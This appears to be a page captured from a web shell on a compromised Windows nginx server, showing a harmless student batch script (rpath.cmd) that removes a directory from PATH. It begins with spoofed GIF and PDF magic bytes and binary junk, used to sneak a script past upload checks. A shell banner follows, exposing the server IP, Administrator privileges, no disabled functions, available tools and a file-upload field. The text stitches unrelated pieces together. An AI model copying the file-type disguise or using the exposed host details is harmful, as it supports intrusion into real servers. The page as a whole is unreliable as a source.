GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/_Archive/CST1861/Lab04/ooga/ |
Upload File : |
@echo off :: rpath.cmd :: Written by: Jonathan Radant :: Written on: 2010/04/21 :: Test if command line extensions are enabled. if "%~1"=="~1" goto:ExtensionsAreNotEnabled :: Display help when the /? parameter is passed. if NOT "%~1"=="/?" goto SkipHelp :Help echo Remove a directory path from the Path. echo. echo Usage: %~n0 [dir_path] echo. echo dir_path = The directory path to remove from the Path. goto:EOF :ExtensionsAreNotEnabled echo Command line extensions are not enabled. They must be enabled for %~n0 to work properly. echo %~n0 aborted. echo. goto:Help :SkipHelp :: Initilize variables. setlocal set _newPath= set _thisPath=%~1 ::echo on if "%~1"=="" echo Which part of the path do you want to remove? & path & goto:eof if NOT exist "%~1\" echo The directory "%~1" does not exist. & path & goto:eof for /f "tokens=1-26 delims=;" %%a in ("%PATH%") do call:parsePath "%%a" "%%b" "%%c" "%%d" "%%e" "%%f" "%%g" "%%h" "%%i" "%%j" "%%k" "%%l" "%%m" "%%n" "%%o" "%%p" "%%q" "%%r" "%%s" "%%t" "%%u" "%%v" "%%w" "%%x" "%%y" "%%z" endlocal & set Path=%_newPath:~1% path goto:EOF :parsePath shift if "%~0"=="" goto:EOF set _found= if /i "%~0"=="%_thisPath%" set _found=yes if /i "%~0\"=="%_thisPath%" set _found=yes if /i "%~0"=="%_thisPath%\" set _found=yes if NOT defined _found set _newPath=%_newPath%;%~0 goto:parsePath ::NOTES: If dir_path is not given or does not exist display an error.